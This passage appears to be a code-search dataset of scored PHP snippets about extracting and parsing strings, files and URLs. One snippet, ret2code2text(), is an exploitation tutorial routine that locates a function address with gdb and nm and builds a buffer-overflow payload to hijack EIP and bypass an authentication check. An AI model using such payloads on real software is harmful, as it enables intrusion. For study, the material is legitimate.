$linecount < $linemax-1 ? $this->endofline : ($linecount == 0 ? $this->endofline : \"\");\n echo $sayvalue; // . $endsay;\n }\n $linecount++;\n }\n } else {\n if(strpos($string, \"s \") === 0){\n $sayvalue = strpos($string, '/lb/') !== -1 ? str_replace(\"/lb/\", $this->endofline,$string) : $string;\n echo str_replace(\"s \", \"\", $sayvalue);\n }\n }\n }", "title": "" }, { "docid": "4498a1b332bf02bf6bf0228dd03dbbff", "score": "0.4786811", "text": "public function Generate($str = '')\n {\n $trees = $this->parser->Parse($str);\n $segments = [];\n foreach ($trees as $tree) {\n $segments[] = $this->ProcessTree($tree);\n }\n return $segments;\n }", "title": "" }, { "docid": "13720e9ce7167c5213473308a5bc2ee2", "score": "0.47487697", "text": "abstract public function executeString($path, $identifier, array &$data = [], array $engineArguments = []);", "title": "" }, { "docid": "51d10d4e5bfe0b5b44f11bc158deedb0", "score": "0.47164354", "text": "function uriSegment($segment = '')\n {\n $request_uri = trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/');\n $explode = explode('/', str_replace('index.php/', '', $request_uri));\n\n if(empty($segment)) return '';\n\n if(!empty($explode[($segment-1)]))\n return $explode[($segment-1)];\n else \n return '';\n }", "title": "" }, { "docid": "ca540f2e37cddc761bf71dd411dfca57", "score": "0.46955752", "text": "public function extract()\n {\n $this->_strings = array();\n \n $skip_tokens = array('*');\n \n foreach ($this->_routes as $route)\n {\n /* @var $route sfRoute */\n $pattern = $route->getPattern();\n foreach ($route->getTokens() as $token)\n {\n if ($token[0] == 'text' && !in_array($token[2], $skip_tokens))\n {\n $this->_strings[] = $token[2];\n }\n }\n }\n \n return $this->_strings;\n }", "title": "" }, { "docid": "707d0bd5280b839f4b9d94b9df60c372", "score": "0.4674386", "text": "protected function getPackageSegments()\n {\n $package = (string) $this->argument('package');\n\n return array_map('studly_case', explode('/', $package, 2));\n }", "title": "" }, { "docid": "846712279131d6a5678b22dc99a41ff6", "score": "0.4670755", "text": "public function exec($string) {\r\n\t\t$offset = strlen(substr($string, 0, $this->lastIndex));\r\n\r\n\t\tif (preg_match($this->pattern(), $string, $matches, 0, $offset)) {\r\n\t\t\t// update lastIndex when global\r\n\t\t\tif ($this->global) {\r\n\t\t\t\t$this->lastIndex = strpos($string, $matches[0], $this->lastIndex) + strlen($matches[0]);\r\n\t\t\t}\r\n\t\t\t// return matches\r\n\t\t\treturn $matches;\r\n\t\t}\r\n\r\n\t\t// no match, reset lastIndex\r\n\t\t$this->lastIndex = 0;\r\n\r\n\t\treturn NULL;\r\n\t}", "title": "" }, { "docid": "799b7fe4343b784000e0f47d74ccf5c3", "score": "0.466431", "text": "function privExtractFileAsString(&$p_entry, &$p_string, &$p_options)\n {\n $v_result=1;\n\n // ----- Read the file header\n $v_header = array();\n if (($v_result = $this->privReadFileHeader($v_header)) != 1)\n {\n // ----- Return\n return $v_result;\n }\n\n\n // ----- Check that the file header is coherent with $p_entry info\n if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {\n // TBC\n }\n\n // ----- Look for pre-extract callback\n if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {\n\n // ----- Generate a local information\n $v_local_header = array();\n $this->privConvertHeader2FileInfo($p_entry, $v_local_header);\n\n // ----- Call the callback\n // Here I do not use call_user_func() because I need to send a reference to the\n // header.\n $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);\n if ($v_result == 0) {\n // ----- Change the file status\n $p_entry['status'] = \"skipped\";\n $v_result = 1;\n }\n\n // ----- Look for abort result\n if ($v_result == 2) {\n // ----- This status is internal and will be changed in 'skipped'\n $p_entry['status'] = \"aborted\";\n \t$v_result = PCLZIP_ERR_USER_ABORTED;\n }\n\n // ----- Update the informations\n // Only some fields can be modified\n $p_entry['filename'] = $v_local_header['filename'];\n }\n\n\n // ----- Look if extraction should be done\n if ($p_entry['status'] == 'ok') {\n\n // ----- Do the extraction (if not a folder)\n if (!(($p_entry['external']&0x00000010)==0x00000010)) {\n // ----- Look for not compressed file\n // if ($p_entry['compressed_size'] == $p_entry['size'])\n if ($p_entry['compression'] == 0) {\n\n // ----- Reading the file\n $p_string = @fread($this->zip_fd, $p_entry['compressed_size']);\n }\n else {\n\n // ----- Reading the file\n $v_data = @fread($this->zip_fd, $p_entry['compressed_size']);\n\n // ----- Decompress the file\n if (($p_string = @gzinflate($v_data)) === FALSE) {\n // TBC\n }\n }\n\n // ----- Trace\n }\n else {\n // TBC : error : can not extract a folder in a string\n }\n\n }\n\n \t// ----- Change abort status\n \tif ($p_entry['status'] == \"aborted\") {\n $p_entry['status'] = \"skipped\";\n \t}\n\n // ----- Look for post-extract callback\n elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {\n\n // ----- Generate a local information\n $v_local_header = array();\n $this->privConvertHeader2FileInfo($p_entry, $v_local_header);\n\n // ----- Swap the content to header\n $v_local_header['content'] = $p_string;\n $p_string = '';\n\n // ----- Call the callback\n // Here I do not use call_user_func() because I need to send a reference to the\n // header.\n $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);\n\n // ----- Swap back the content to header\n $p_string = $v_local_header['content'];\n unset($v_local_header['content']);\n\n // ----- Look for abort result\n if ($v_result == 2) {\n \t$v_result = PCLZIP_ERR_USER_ABORTED;\n }\n }\n\n // ----- Return\n return $v_result;\n }", "title": "" }, { "docid": "328fb33f2390751361135cf8d1468493", "score": "0.4602958", "text": "protected function getMapperSegment($command, $segment)\n\t{\n\t\treturn explode('@', call_user_func($this->mapper, $command))[$segment];\n\t}", "title": "" }, { "docid": "9204bb8db66246f65fe6c237e663e572", "score": "0.4599853", "text": "function extract_unit($string, $start, $end)\n{\n\t$pos = stripos($string, $start);\n\t$str = substr($string, $pos);\n\t$str_two = substr($str, strlen($start));\n\t$second_pos = stripos($str_two, $end);\n\t$str_three = substr($str_two, 0, $second_pos);\n\n\t$unit = trim($str_three); // remove whitespaces\n\n\treturn $unit;\n}", "title": "" }, { "docid": "2adefffcfbfe909fd39e7dd59177f85a", "score": "0.45911184", "text": "private function _get_args($string)\n {\n // Clean up the arguments\n $raw_tag = str_replace(array(\"\\r\\n\", \"\\r\", \"\\n\", \"\\t\"), \" \", $string);\n $args = trim((preg_match(\"/\\s+.*/\", $raw_tag, $arg_matches))) ? $arg_matches[0] : '';\n return ee()->functions->assign_parameters($args);\n }", "title": "" }, { "docid": "a589d798dff0e95c13f875f6f84edcfe", "score": "0.45867145", "text": "function extract_unit($string, $start, $end)\n {\n $pos = stripos($string, $start);\n $str = substr($string, $pos);\n $str_two = substr($str, strlen($start));\n $second_pos = stripos($str_two, $end);\n $str_three = substr($str_two, 0, $second_pos);\n $unit = trim($str_three); // remove whitespaces\n\n return $unit;\n }", "title": "" }, { "docid": "49d33edec106ccd65b6b2571487b1d0d", "score": "0.4585834", "text": "public function __invoke($string)\n {\n assert(is_string($string), 'Invalid argument $string: string expected');\n\n /* if not necessary -> skip the whole section for better performance */\n if (mb_strpos($string, ':') !== false) {\n /* Emot-Codes */\n foreach ($this->_buildListOfIcons() as $icon)\n {\n /* @var $icon \\Yana\\Views\\Icons\\IsFile */\n $regEx = $icon->getRegularExpression();\n $pattern = \"/:(\" . $regEx . \"):(\\s|\\[wbr\\]|\\[br\\]|<br \\/>)*:(\" . $regEx . \"):/i\";\n $string = preg_replace($pattern, ':' . $regEx . ':', $string);\n $pattern = \"/:(\" . addcslashes($regEx, \"+()[]{}.?*/\\\\$^\") . \"):/\";\n $replacement = '<img alt=\"\" border=\"0\" hspace=\"2\" src=\"' . $icon->getPath() . '\"/>';\n $string = preg_replace($pattern, $replacement, $string);\n }\n }\n\n return $string;\n }", "title": "" }, { "docid": "b32bbfc8b31b97944a6e8b1d81eee704", "score": "0.4585832", "text": "function extract_text($ref,$extension,$path=\"\")\n\t{\n\t# Extract text from the resource and save to the configured field.\n\tglobal $extracted_text_field,$antiword_path,$pdftotext_path,$zip_contents_field;\n\t$text=\"\";\n\tif ($path==\"\"){$path=get_resource_path($ref,true,\"\",false,$extension);}\n\t\n\t# Microsoft Word extraction using AntiWord.\n\tif ($extension==\"doc\" && isset($antiword_path))\n\t\t{\n\t\t$command=$antiword_path . \"/antiword\";\n\t\tif (!file_exists($command)) {$command=$antiword_path . \"\\antiword.exe\";}\n\t\tif (!file_exists($command)) {debug(\"ERROR: Antiword executable not found at '$antiword_path'\"); return false;}\n\t\t$text=run_command($command . \" -m UTF-8 \\\"\" . $path . \"\\\"\");\n\t\t}\n\t\n # Microsoft OfficeOpen (docx,xlsx) extraction\n # This is not perfect and needs some work, but does at least extract indexable content.\n if ($extension==\"docx\"||$extension==\"xlsx\")\n\t\t{\t\n\t\t$path=escapeshellarg($path);\n\t\t\n\t\t # DOCX files are zip files and the content is in word/document.xml.\n # We extract this then remove tags.\n switch($extension){\n case \"xlsx\":\n $text=run_command(\"unzip -p $path \\\"xl/sharedStrings.xml\\\"\");\n break;\n\n case \"docx\":\n $text=run_command(\"unzip -p $path \\\"word/document.xml\\\"\");\n break;\n }\n \n\t\t# Remove tags, but add newlines as appropriate (without this, separate text blocks are joined together with no spaces).\n\t\t$text=str_replace(\"<\",\"\\n<\",$text);\n\t\t$text=trim(strip_tags($text));\n\t\twhile (strpos($text,\"\\n\\n\")!==false) {$text=str_replace(\"\\n\\n\",\"\\n\",$text);} # condense multiple line breaks\n\t\t}\n\n\t# OpenOffice Text (ODT)\n\tif ($extension==\"odt\"||$extension==\"ods\"||$extension==\"odp\")\n\t\t{\t\n\t\t$path=escapeshellarg($path);\n\t\t\n\t\t# ODT files are zip files and the content is in content.xml.\n\t\t# We extract this then remove tags.\n\t\t$text=run_command(\"unzip -p $path \\\"content.xml\\\"\");\n\n\t\t# Remove tags, but add newlines as appropriate (without this, separate text blocks are joined together with no spaces).\n\t\t$text=str_replace(\"<\",\"\\n<\",$text);\n\t\t$text=trim(strip_tags($text));\n\t\twhile (strpos($text,\"\\n\\n\")!==false) {$text=str_replace(\"\\n\\n\",\"\\n\",$text);} # condense multiple line breaks\n\t\t}\n\t\n\t# PDF extraction using pdftotext (part of the XPDF project)\n\tif (($extension==\"pdf\" || $extension==\"ai\") && isset($pdftotext_path))\n\t\t{\n\t\t$command=$pdftotext_path . \"/pdftotext\";\n\t\tif (!file_exists($command)) {$command=$pdftotext_path . \"\\pdftotext.exe\";}\n\t\tif (!file_exists($command)) {debug(\"ERROR: pdftotext executable not found at '$pdftotext_path'\"); return false;}\n\t\t$text=run_command($command . \" -enc UTF-8 \\\"\" . $path . \"\\\" -\");\n\t\t\n\t\t}\n\t\n\t# HTML extraction\n\tif ($extension==\"html\" || $extension==\"htm\")\n\t\t{\n\t\t$text=strip_tags(file_get_contents($path));\n\t\t}\n\n\t# TXT extraction\n\tif ($extension==\"txt\")\n\t\t{\n\t\t$text=file_get_contents($path);\n\t\t}\n\n\tif ($extension==\"zip\")\n\t\t{\n\t\t# Zip files - map the field\n\t\t$path=escapeshellarg($path);\n\t\t$text=run_command(\"unzip -l $path\");\n\t\t\n\t\tglobal $zip_contents_field_crop;\n\t\tif ($zip_contents_field_crop>0)\n\t\t\t{\n\t\t\t# Remove the first few lines according to $zip_contents_field_crop in config.\n\t\t\t$text=explode(\"\\n\",$text);\n\t\t\tfor ($n=0;$n<count($zip_contents_field_crop);$n++) {array_shift($text);}\n\t\t\t$text=join(\"\\n\",$text);\n\t\t\t}\n\t\t\n\t\tif (isset($zip_contents_field))\n\t\t\t{\n\t\t\t$extracted_text_field=$zip_contents_field;\n\t\t\t}\n\t\t}\n\t\n\thook(\"textextraction\", \"all\", array($extension,$path));\n\t\t\n\t# Save the extracted text.\n\tif ($text!=\"\")\n\t\t{\n\t\t$modified_text=hook(\"modifiedextractedtext\",'',array($text));\n\t\tif(!empty($modified_text)){$text=$modified_text;}\n\t\t\n\t\t# Save text\n\t\tupdate_field($ref,$extracted_text_field,$text);\n\t\t\n\t\t# Update XML metadata dump file.\n\t\tupdate_xml_metadump($ref);\n\t\t}\n\t\n\t}", "title": "" }, { "docid": "41224d40bfcc3b4279b664c35f6fb091", "score": "0.4581315", "text": "function getSubStringText($text,$string_no)\n\t\t{\n\t\t\t$subString = substr($text,0,$string_no);\n\t\t\treturn $subString;\n\t\t}", "title": "" }, { "docid": "a9003af50f002d162a7f42b4c292ef84", "score": "0.45776287", "text": "public function getExtract(string $content,$start,$lenght,$endStr)\n\t{\n\n $str = mb_substr($content, $start, $lenght - strlen($endStr) + 1, 'UTF-8');\n\n\t\t$extract = substr($str, 0, strrpos($str, ' ')) . $endStr . ' ...';\n\n\t\treturn $extract;\n\n\t}", "title": "" }, { "docid": "0481a4efc0b29b21c6c26c0aac2ec6bf", "score": "0.45775312", "text": "function extract_name($str) {\n\t\t$file_name = \"\";\n\t\t$i = 0;\n\t\tfor($j = strlen($str) - 1; $j >= 0; $j--) {\n\t\t\t$char = substr($str, $j, 1);\n\t\t\tif($char == '/') {\n\t\t\t\t$i = $j;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tfor(++$i; $i < strlen($str); $i++) {\n\t\t\t$char = substr($str, $i, 1);\n\t\t\t$file_name .= $char;\n\t\t}\n\t\treturn $file_name;\n\t}", "title": "" }, { "docid": "450e4ecdaf8de3cc121d52bff43daa65", "score": "0.45671207", "text": "public function extract($content);", "title": "" }, { "docid": "74db430c175d2b6e39a609676d1f198f", "score": "0.45634037", "text": "function parse_string_extract_param($string) {\n if ($this->parse_string_is_once_param($string)) {\n return\n substr(\n $string, +strlen($this->parse['before']), -strlen($this->parse['after'])\n );\n }\n return false;\n }", "title": "" }, { "docid": "de6ad48edb5a7c06c26690b8f304ef37", "score": "0.45462462", "text": "function code_extract($callnum)\n{\n $result = array();\n $code_i = 0;\n $result[0] = '';\n\n $is_letter = true;\n\n // Replace 'OVERSIZE' in call number with 'OVSZ' in order to work with\n // following logic\n $callnum = str_replace('OVERSIZE', 'OVSZ', $callnum);\n\n $special = array('A/V', 'OVSZ');\n $special_num = array('0', '1');\n\n $callnum_s = str_replace($special, '', $callnum);\n $callnum = str_replace($special, $special_num, $callnum);\n\n // A special ID number\n if (is_digit($callnum[0])) {\n $result[0] .= $callnum[0];\n }\n\n for ($i = 0; $i < strlen($callnum_s); $i++) {\n $curr_char = $callnum_s[$i];\n\n if ($is_letter) {\n // if current char is a letter\n if (is_digit($curr_char)) {\n // the current char change from letter to digit,\n // so start extracting next section\n $is_letter = false;\n $code_i++;\n $result[$code_i] = '';\n }\n } else {\n // if current char is a digit\n if ($curr_char == '*') {\n // check for the special *, which is the decimal point,\n // if it is, advance to next section and ignore the *\n $code_i++;\n $result[$code_i] = '';\n continue;\n } elseif (!is_digit($curr_char)) {\n // the current char change from digit to letter,\n // so start extracting next section\n if ($code_i == 1) {\n // the call number does not have decimal point, so set\n // decimal as empty string, and advance to next section\n $code_i++;\n $result[2] = '';\n }\n\n $is_letter = true;\n $code_i++;\n $result[$code_i] = '';\n }\n }\n\n $result[$code_i] .= $curr_char;\n }\n\n return $result;\n}", "title": "" }, { "docid": "c92d8e02a8229db2971bb1f05a3441c9", "score": "0.4543112", "text": "public static function getMainPart(){\n return (isset(self::$gets [self::KEY_MAIN]))?\n self::$gets [self::KEY_MAIN] : '';\n }", "title": "" }, { "docid": "a49056e7cd5e2f591a2f45d45be6bba7", "score": "0.4535751", "text": "function processString($str, $min)\n{\n /**\n * Get all partitions and split string using them\n **/\n return array_map(function($p) use ($str)\n {\n return splitString($str, $p);\n },\n partitions(strlen($str), $min)\n );\n}", "title": "" }, { "docid": "ce0beda6e4ca117fb1d3e371909d72d3", "score": "0.45335907", "text": "private function _extractParts($value) {}", "title": "" }, { "docid": "75a7dcee2c43e3012817cf9d1d639d2d", "score": "0.45328674", "text": "public function extract($sourceFile);", "title": "" }, { "docid": "347559ebc89f5a68015b669501733a00", "score": "0.45237076", "text": "function run_parse_strings_py($path) {\n\tglobal $script_root;\n\n\tif (!file_exists($path)) {\n\t\treturn '';\n\t}\n\n\t$cachePath = $path.'.zoojson';\n\tif (file_exists($cachePath) && filemtime($cachePath) > filemtime($path)) {\n\t\treturn file_get_contents($cachePath);\n\t}\n\n\t$json = run($script_root.'/parse_strings.py '.escapeshellarg($path));\n\t// $json is an array of lines of output\n\t$json = implode('', $json);\n\tfile_put_contents($cachePath, $json);\n\treturn $json;\n}", "title": "" }, { "docid": "0324ac1f7c8f258b183c785ac9d41036", "score": "0.4516944", "text": "protected function _parseIndexerString($string)\n {\n $processes = array();\n if ($string == 'all') {\n $collection = $this->_getIndexer()->getProcessesCollection();\n foreach ($collection as $process) {\n $processes[] = $process;\n }\n } else if (!empty($string)) {\n $codes = explode(',', $string);\n foreach ($codes as $code) {\n $process = $this->_getIndexer()->getProcessByCode(trim($code));\n if (!$process) {\n echo 'Warning: Unknown indexer with code ' . trim($code) . \"\\n\";\n } else {\n $processes[] = $process;\n }\n }\n }\n return $processes;\n }", "title": "" }, { "docid": "d5947587d8210e35a61604d1dec505fd", "score": "0.45159352", "text": "private function _getFullCommand()\n {\n $parts = preg_split('/\\s+/', $this->job);\n reset($parts);\n $first = current($parts);\n unset($parts[key($parts)]);\n ob_start();\n passthru(\"which $first\", $ret);\n $fullcommand = trim(ob_get_clean());\n if ($ret == 0 && substr($fullcommand, 0, 1) == '/') {\n return trim($fullcommand . ' ' . join(' ', $parts));\n } else {\n $root = $this->_root;\n if ($this->_root) {\n $root = rtrim($this->_root, DIRECTORY_SEPARATOR);\n $root .= DIRECTORY_SEPARATOR;\n }\n return trim($root . $this->job);\n }\n }", "title": "" }, { "docid": "9a7ff3b87609dff4671e68fc511c9495", "score": "0.45157295", "text": "public function fragment($str = '') {\n $tokenized = array();\n\tfor($digit = 0; $digit < $this->utf8_strlen($str); $digit++ ) {\n $code = $this->utf8_ord($this->utf8_charAt($str, $digit)) - 44032;\n \t if ($code > -1 && $code < 11172) { \n\t \t $i_idx = $code / 588; \n \t \t $m_idx = $code % 588 / 28; \n \t $e_idx = $code % 28;\n \t //$tokenized .= $this->ini[$i_idx].$this->mid[$m_idx].$this->end[$e_idx];\n\t\t $tokenized = array(\n\t\t 'b' => $this->ini[$i_idx],\n\t\t 'm' => $this->mid[$m_idx],\n\t\t 'e' => $this->end[$e_idx],\n\t\t );\n \t } else {\n \t //$tokenized .= $this->utf8_charAt($str, $digit);\n\t\t $tokenized = array('n' => $this->utf8_charAt($str, $digit));\n }\n\t}\n return $tokenized;\n }", "title": "" }, { "docid": "707e3c4669fc51bda49ebb5cd59db5ef", "score": "0.45117676", "text": "private function parsePath() {\n\n $parsed = array();\n $request_path = strtok($this->uri, '?');\n $base_path_len = strlen(rtrim(dirname($this->script_name), '\\/'));\n\n // Unescape and strip $base_path prefix, leaving q without a leading slash.\n $path = substr(urldecode($request_path), $base_path_len + 1);\n \n //make it clean\n $parsed = filter_var_array(explode('/', trim($path, '/')), FILTER_SANITIZE_STRING);\n\n $this->parsed_path = $parsed; \n\n }", "title": "" }, { "docid": "f3d5a2295961adb70687196e1e29e220", "score": "0.44795305", "text": "function ret2code2text() {\n\t$this->chapitre(\"Return to .TEXT\");\n\t$this->titre(\"Outrepasser une authentification -> return to text\");\n\t$this->ssTitre(\"Exec Our Programme\");\n\t$this->requette(\"$this->file_path '0123456789' \");\n\t$this->pause();\n\t$this->requette(\"$this->file_path AAAABBBBCCCC\");\n\t$this->requette(\"$this->file_path AAAABBBBCCCCDDDDABCD\");\n\t$this->article(\".Text\", \"La zone text contient les instructions du programme. \n\t\t\tCette région est en lecture seule. \n\t\t\tElle est partagée entre tous les processus qui exécutent le même fichier binaire. \n\t\t\tUne tentative d'écriture dans cette partie provoque une erreur segmentation violation. -> segfault, cette zone n'est pas influençables par l'ASLR ni NX.\");\n\t$this->pause();\n\n\t$this->bin2text2size();$this->pause();\n\t$this->bin2text2content();$this->pause();\n\t$this->titre(\"Adresse de la fonction secret\");\n\t$ret = trim($this->req_ret_str(\"$this->file_path AAAAAAAA | grep '0x' | cut -d : -f 2\"));\n\t$this->ssTitre(\"Via gdb\");\n\t$this->requette(\"gdb -q --batch -ex \\\"print &secret\\\" $this->file_path\");\n\t$this->requette(\"gdb -q --batch -ex \\\"info symbol $ret\\\" $this->file_path\");\n\t$this->ssTitre(\"Via nm\");\t$this->requette(\"nm $this->file_path | grep secret\");\n\t$this->ssTitre(\"Via le script source\");$this->requette(\"$this->file_path AAAAAAAA\");\n\t$this->pause();\n\t$overflow = $this->bin2fuzzeling(\"\");$this->pause();\n\t// $offset_eip = trouve_offset($this->file_path,$overflow) ;\n\t$offset_eip = $this->bin2offset4eip($overflow);\n\t$this->ssTitre(\"ESP & EBP\");\n\t// diff_esp_ebp();pause(); // ok\n\t$ret = $this->hex2rev_32($ret);\n\t$query = \"$this->file_path `python -c print'\\\"A\\\"*$offset_eip+\\\"$ret\\\"'`\";\n\t$this->ssTitre(\"Sous Linux 32 Bits\");\n\t$this->ssTitre(\"Exec Programme\");\n\t$this->requette(\"$this->file_path 123456\");\n\t$this->ssTitre(\"Exec Programme with our payload \");\n\t$this->cmd(\"localhost\", $query);\n\t$this->article(\"Note\", \"Dot it a la main,php recoit un signal segfault du prog qui a lance d'ou l'arret de l'execution de la commande system -> on test en cmd\");\n\t$this->pause();\n\t$this->notify(\"End .text\");\n}", "title": "" }, { "docid": "6592208cfec7f058ba78f838ffad01cc", "score": "0.44757152", "text": "function extractStringValue($string)\n {\n $string = trim(substr($string,0,strlen($string)-1));\n // remove delimiters and expand\n $string = $this->removeDelimitersAndExpand($string);\n return $string;\n }", "title": "" }, { "docid": "20130059af37d91beaaa0d1636102cf5", "score": "0.4473953", "text": "protected function extractCommand() {\n\t\t$queryPath = $this->getQueryPath();\n\t#\tif( count( $queryPath ) >= 2 )\n\t\t\treturn array_pop( $queryPath );\n\t#\treturn current( $queryPath );\n\t}", "title": "" }, { "docid": "1a88bc327120d4604aaf218955283384", "score": "0.4467322", "text": "abstract public function process($inputString);", "title": "" }, { "docid": "2835ac980bfe98e349fa1fd8dfe92b12", "score": "0.44643041", "text": "function extract_file_name($str) {\n\t\t$file_name = \"\";\n\t\t$i = 0;\n\t\tfor($j = strlen($str) - 1; $j >= 0; $j--) {\n\t\t\t$char = substr($str, $j, 1);\n\t\t\tif($char == '/') {\n\t\t\t\t$i = $j;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tfor(++$i; $i < strlen($str); $i++) {\n\t\t\t$char = substr($str, $i, 1);\n\t\t\tif($char == \".\")\n\t\t\t\tbreak;\n\t\t\t$file_name .= $char;\n\t\t}\n\t\treturn $file_name;\n\t}", "title": "" }, { "docid": "5236107ba06d57ccbc35d86465c3f0a9", "score": "0.44567806", "text": "public function extract();", "title": "" }, { "docid": "5236107ba06d57ccbc35d86465c3f0a9", "score": "0.44567806", "text": "public function extract();", "title": "" }, { "docid": "738d03794707fc45141b655d94a58482", "score": "0.4456158", "text": "public function get_variables_from_str($str) {\n\t\tforeach($this->offsets as $k => $v) {\n\t\t\t$bin = mb_substr($str, $v, 2);\n\t\t\t$vars[$k] = implode(unpack(\"n\",$bin));\n\t\t}\n\t\treturn $vars;\n\t}", "title": "" }, { "docid": "540e0c385c61aaef1c2ca5f135681f61", "score": "0.44552794", "text": "function urlSegment($int=''){\n $input = get('url');\n $input = explode('/', $input);\n $int--;\n return $input[$int];\n }", "title": "" }, { "docid": "8468a86efa5f846d9ad5cbfeca7f20e3", "score": "0.4448726", "text": "function unzip($string) {\n\t\t\t$ip = '';\n\t\t\t$time = '';\n\t\t\t$user = '';\n\t\t\t$random = '';\n\t\t\t$which = 0;\n\t\t\t$values = array();\n\t\t\t\n\t\t\t// Run through the entire string and every 4th string, reset $which to 0\n\t\t\t// which starts over the loop for every 4th string\n\t\t\tfor($i = 0; $i < strlen($string); $i++) {\n\t\t\t\t// Surpress \"Undefined offset\" PHP errors with @ symbol\n\t\t\t\t@$values[$which] .= substr($string, $i, 1);\n\t\t\t\t$which = ($which == 3) ? 0 : $which + 1;\n\t\t\t}\n\n\t\t\t// Return an array of all unzipped strings\n\t\t\treturn list($ip, $time, $user, $random) = $values;\n\t\t}", "title": "" }, { "docid": "50c85c42205107ddf989d8915e392257", "score": "0.44296977", "text": "protected function buildCallToScript()\n {\n if (strncasecmp(PHP_OS, 'WIN', 3) == 0) {\n return (new PhpExecutableFinder)->find(false) .\n ' -e -r \"parse_str($_SERVER[\\\"QUERY_STRING\\\"], $_GET); include \\\"' .\n $this->determinedFullPath($this->path) .\n '\\\";\"';\n }\n\n return (new PhpExecutableFinder)->find(false) .\n ' -e -r \\'parse_str($_SERVER[\"QUERY_STRING\"], $_GET); include \"' .\n $this->determinedFullPath($this->path) .\n '\";\\'';\n }", "title": "" }, { "docid": "93769308b84f4f3898c509947fe388f7", "score": "0.44261807", "text": "public function process_string($string)\n\t{\n\t\t$this->original_string = $string;\n\t\t$this->adapted_string = $string;\n\t\t$pattern = \"/(?<=\\[\\[)[\\w \\!\\?\\&\\+'=@:\\/\\.\\\\\\-]+(?=\\]\\])/\"; // [[ ... ]] regex\n\t\t$short_code_info = null;\n\n\t\t// find all the links in $string\n\t\t// execute the regex on string and populate $links array storing the offset with the match\n\t\tpreg_match_all ( $pattern, $string, $short_code_info, PREG_OFFSET_CAPTURE );\n\n\t\t// loop through the results of the regex and process shortcodes\n\t\tforeach($short_code_info[0] as $info)\n\t\t{\n\t\t\t$sc = new Shortcode($info[0], $info[1]);\n\t\t\t$this->add_short_code($sc);\n\t\t}\n\t}", "title": "" }, { "docid": "ddf5d43523817126262e24fbb7776228", "score": "0.4424185", "text": "public function extract($arguments)\n {\n $commands = null;\n\n if (is_file($arguments[0]) && is_readable($arguments[0])) {\n $commands = file_get_contents($arguments[0]);\n }\n else {\n $commands = implode(' ', $arguments);\n }\n\n preg_match_all('/\\b(PLACE \\d+,\\d+,(NORTH|SOUTH|EAST|WEST))\\b|\\bMOVE\\b|\\bLEFT\\b|\\bRIGHT\\b|\\bREPORT\\b/', $commands, $matches);\n\n return $matches[0]; // Index 0 contains an array of strings that matched the full pattern\n }", "title": "" }, { "docid": "bfe932856c6efad3efa12399404e3671", "score": "0.43950382", "text": "function getSegment($n)\n{\n foreach (explode(\"/\", preg_replace(\"|/*(.+?)/*$|\", \"\\\\1\", RURL)) as $val) {\n $val = clearSegment($val);\n if ($val != '') {\n $segments[] = $val;\n }\n }\n\n return isset($segments[$n - 1]) ? $segments[$n - 1] : \"\";\n}", "title": "" }, { "docid": "696431a4902d8c223db9d4a39d6fbe61", "score": "0.43875676", "text": "private function getExtractSections()\n {\n return array(\n '$extract = new Extract(__FILE__, Extract::findStubLength(__FILE__));',\n '$dir = $extract->go();',\n 'set_include_path($dir . PATH_SEPARATOR . get_include_path());',\n );\n }", "title": "" }, { "docid": "a1beff337b5ab3be815d3510797bc2fe", "score": "0.4384402", "text": "function Extract_Data($data, $start, $end) {\n $data = stristr($data, $start); // Stripping all data from before $start\n $data = substr($data, strlen($start)); // Stripping $start\n $stop = stripos($data, $end); // Getting the position of the $end of the data\n $data = substr($data, 0, $stop); // Stripping all data from after and including the $end of the data\n return $data; // Returning the data from the function\n}", "title": "" }, { "docid": "2bbb82bda83a436992364b9d28185742", "score": "0.43702906", "text": "function string_get_between($content,$start,$end){\n\t$r = explode($start, $content);\n\tif (isset($r[1])){\n\t\t$r = explode($end, $r[1]);\n\t\treturn $r[0];\n\t}\n\treturn '';\n}", "title": "" }, { "docid": "6af60c9e76dd301babbb72141a094502", "score": "0.43625152", "text": "public function parseString($string) {\n\t\t// Compile file\n\t\t$code = $this->compiler->compileString($string);\n\n\t\t// Buffer\n\t\tob_start();\n\n\t\t// Define a soft handler for undefined variables\n\t\tset_error_handler(function($errno, $errstr, $errfile, $errline) {\n\t\t\techo str_replace(array('Undefined index: ', 'Undefined variable: '), 'WT!', $errstr);\n\t\t}, E_NOTICE);\n\n\t\ttry { // Critical section\n\t\t\t// Adds the php close balise at the begining because it is a whole php file being evaluated\n\t\t\t$eval_result = eval('?>'.$code);\n\t\t} catch (Exception $e) {\n\t\t\t// Just stores the exception into $e to throw it later\n\t\t}\n\n\t\trestore_error_handler();\n\n\t\t$buffer = ob_get_contents();\n\t\tob_end_clean();\n\n\t\t// Throw exception if any\n\t\tif (!empty($e)) {\n\t\t\tthrow $e;\n\t\t} else if ($eval_result === false) {\n\t\t\tthrow new Exception(\"WTemplate::parse(): File $href encountered an error during evaluation :\".$buffer);\n\t\t}\n\n\t\treturn $buffer;\n\t}", "title": "" }, { "docid": "9e03e0388fee6b47346eff3e0381e22c", "score": "0.4359817", "text": "public static function extract($txt='', $startString=null, $endString=null) {\n if ($startString!==null && $endString!==null) {\n $p1 = $startString==='' ? 0 : strpos($txt, $startString);\n $p2 = $p1+strlen($startString);\n $p3 = strpos($txt, $endString, $p2);\n\n if (!($p1===false || $p3===false)) {\n return substr($txt, $p2, $p3-$p2);\n }\n\n }\n return '';\n }", "title": "" }, { "docid": "cb1a7cab9c53e30fc754fc9b8d765341", "score": "0.43595898", "text": "function getStringpart($string,$startStr,$endStr)\n{\n $start = strpos( $string, $startStr);\n\n $end = strrpos( $string, $endStr) + strlen($endStr);\n //we need the length of the substring for the third argument, not its index\n $len = ($end-$start);\n\n $fstr = substr($string, $start, $len );\n\nreturn $fstr;\n}", "title": "" }, { "docid": "54ec64b712636ee9f6cfe86bd07ba1c3", "score": "0.43514797", "text": "public function extract(string $content): array;", "title": "" }, { "docid": "3e8e2cc1830937ca937b69a863b43551", "score": "0.43512142", "text": "function __getExecutableLines($content) {\n\t\tif (is_array($content)) {\n\t\t\t$manager =& 